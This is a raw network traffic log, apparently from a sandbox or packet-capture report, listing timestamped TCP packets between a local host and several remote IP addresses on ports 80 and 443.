Nov 17, 2024 22:20:48.191699028 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.191711903 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.191741943 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.191777945 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.191791058 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.191816092 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.191869974 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.192090988 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.192233086 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.192954063 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.193007946 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.221587896 CET	60858	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:48.221591949 CET	60859	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:48.221616983 CET	443	60859	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:48.234003067 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.234044075 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.234080076 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.234097958 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.234138966 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.234138966 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.234309912 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.234364033 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.234395027 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.234400988 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.234421968 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.234462976 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.262798071 CET	443	60841	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:48.262851954 CET	443	60841	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:48.262887001 CET	60841	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:48.262907982 CET	443	60841	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:48.262960911 CET	60841	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:48.262960911 CET	60841	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:48.275975943 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.276046991 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.276047945 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.276082039 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.276102066 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.276118994 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.276140928 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.276154995 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.276165009 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.276192904 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.287156105 CET	443	60860	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:48.287229061 CET	443	60860	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:48.287353039 CET	60860	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:48.287609100 CET	60860	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:48.287628889 CET	443	60860	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:48.287640095 CET	60860	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:48.287647009 CET	443	60860	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:48.290723085 CET	60867	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:48.290756941 CET	443	60867	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:48.290878057 CET	60867	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:48.291060925 CET	60867	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:48.291079044 CET	443	60867	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:48.294379950 CET	443	60841	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:48.294400930 CET	443	60841	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:48.294455051 CET	60841	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:48.294461966 CET	443	60841	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:48.294586897 CET	60841	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:48.307389021 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.307420015 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.307452917 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.307454109 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.307470083 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.307490110 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.307496071 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.307535887 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.307559013 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.307605028 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.307614088 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.307651043 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.307693005 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.307703018 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.307738066 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.307883024 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.308310032 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.308361053 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.308367968 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.308397055 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.308430910 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.308449030 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.308469057 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.308475971 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.308655024 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.325275898 CET	60859	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:48.350727081 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.350785017 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.350800037 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.350819111 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.350846052 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.350863934 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.350964069 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.351012945 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.351032019 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.351049900 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.351058960 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.351093054 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.392642021 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.392730951 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.392734051 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.392765999 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.392801046 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.392815113 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.392838001 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.392852068 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.392872095 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.392885923 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.392908096 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.392944098 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.392956972 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.393057108 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.403023958 CET	443	60859	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:48.403105974 CET	443	60859	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:48.403127909 CET	443	60859	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:48.403148890 CET	443	60859	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:48.403188944 CET	443	60859	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:48.403208017 CET	443	60859	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:48.403204918 CET	60859	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:48.403281927 CET	443	60859	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:48.403347015 CET	60859	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:48.403347015 CET	60859	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:48.403347015 CET	60859	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:48.403347969 CET	60859	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:48.408950090 CET	443	60858	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:48.408971071 CET	443	60858	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:48.408977985 CET	443	60858	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:48.409010887 CET	443	60858	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:48.409023046 CET	60858	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:48.409046888 CET	443	60858	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:48.409070969 CET	443	60858	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:48.409095049 CET	443	60858	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:48.409106970 CET	60858	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:48.409107924 CET	60858	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:48.409152031 CET	60858	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:48.409152031 CET	60858	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:48.412795067 CET	443	60841	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:48.412844896 CET	443	60841	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:48.412878990 CET	60841	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:48.412906885 CET	443	60841	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:48.412935019 CET	60841	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:48.413048029 CET	60841	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:48.413846970 CET	443	60841	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:48.413896084 CET	443	60841	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:48.413925886 CET	60841	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:48.413940907 CET	443	60841	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:48.413969994 CET	60841	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:48.413989067 CET	60841	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:48.424176931 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.424247980 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.424282074 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.424318075 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.424351931 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.424392939 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.424443960 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.424478054 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.424493074 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.424511909 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.424525023 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.424549103 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.424619913 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.425066948 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.425101042 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.425134897 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.425153017 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.425179005 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.425348043 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.425403118 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.425422907 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.425436974 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.425448895 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.425538063 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.467401028 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.467468023 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.467478991 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.467509031 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.467516899 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.467545033 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.467590094 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.467633963 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.467664957 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.467679024 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.467700005 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.467742920 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.501621962 CET	443	60841	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:48.501693964 CET	443	60841	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:48.501718044 CET	60841	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:48.501750946 CET	60841	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:48.501776934 CET	443	60841	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:48.502012968 CET	60841	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:48.509478092 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.509511948 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.509545088 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.509550095 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.509579897 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.509603977 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.509607077 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.509639025 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.509680033 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.509692907 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.509716988 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.509721041 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.509752989 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.509849072 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.510369062 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.510639906 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.510701895 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.519896030 CET	443	60859	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:48.519932032 CET	443	60859	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:48.519995928 CET	60859	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:48.520000935 CET	443	60859	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:48.520035028 CET	60859	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:48.520056009 CET	443	60859	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:48.520067930 CET	443	60859	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:48.520078897 CET	60859	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:48.520106077 CET	60859	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:48.527668953 CET	443	60858	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:48.527688026 CET	443	60858	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:48.527760983 CET	60858	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:48.527772903 CET	443	60858	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:48.527805090 CET	60858	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:48.527817011 CET	60858	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:48.533201933 CET	443	60841	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:48.533279896 CET	443	60841	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:48.533364058 CET	60841	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:48.533374071 CET	443	60841	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:48.533396959 CET	60841	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:48.533422947 CET	60841	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:48.533435106 CET	443	60841	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:48.533710957 CET	443	60841	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:48.533762932 CET	60841	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:48.535340071 CET	60841	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:48.535351038 CET	443	60841	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:48.540854931 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.540888071 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.540920019 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.540937901 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.540942907 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.540980101 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.540996075 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.541014910 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.541030884 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.541059017 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.541205883 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.541235924 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.541284084 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.541333914 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.541407108 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.541455984 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.541459084 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.541707993 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.541763067 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.541765928 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.541800022 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.541836977 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.541858912 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.541873932 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.541898012 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.541917086 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.583973885 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.584013939 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.584050894 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.584090948 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.584139109 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.584234953 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.584381104 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.584412098 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.584443092 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.584446907 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.584466934 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.584491968 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.626241922 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.626316071 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.626324892 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.626348019 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.626373053 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.626398087 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.626403093 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.626450062 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.626456022 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.626492023 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.626507044 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.626527071 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.626533031 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.626564026 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.626573086 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.626606941 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.627213001 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.627248049 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.627268076 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.627283096 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.627293110 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.627331018 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.636662960 CET	443	60859	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:48.636729956 CET	443	60859	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:48.636763096 CET	60859	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:48.636780977 CET	443	60859	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:48.636821032 CET	60859	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:48.636835098 CET	60859	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:48.646445036 CET	443	60858	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:48.646466017 CET	443	60858	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:48.646532059 CET	60858	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:48.646543026 CET	443	60858	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:48.646859884 CET	60858	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:48.657593012 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.657649040 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.657666922 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.657684088 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.657696009 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.657843113 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.657867908 CET	443	60863	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:48.657900095 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.658068895 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.658099890 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.658117056 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.658140898 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.658143044 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.658155918 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.658176899 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.658206940 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.658230066 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.658241987 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.658247948 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.658277988 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.658289909 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.658322096 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.658858061 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.658889055 CET	60863	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:48.658891916 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.658906937 CET	443	60863	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:48.658916950 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.658943892 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.658960104 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.659035921 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:48.659048080 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.659080982 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:48.659904957 CET	60863	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:48.659909964 CET	443	60863	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:48.668595076 CET	443	60864	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:48.669167042 CET	60864	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:48.669173956 CET	443	60864	13.107.246.45	192.168.2.7
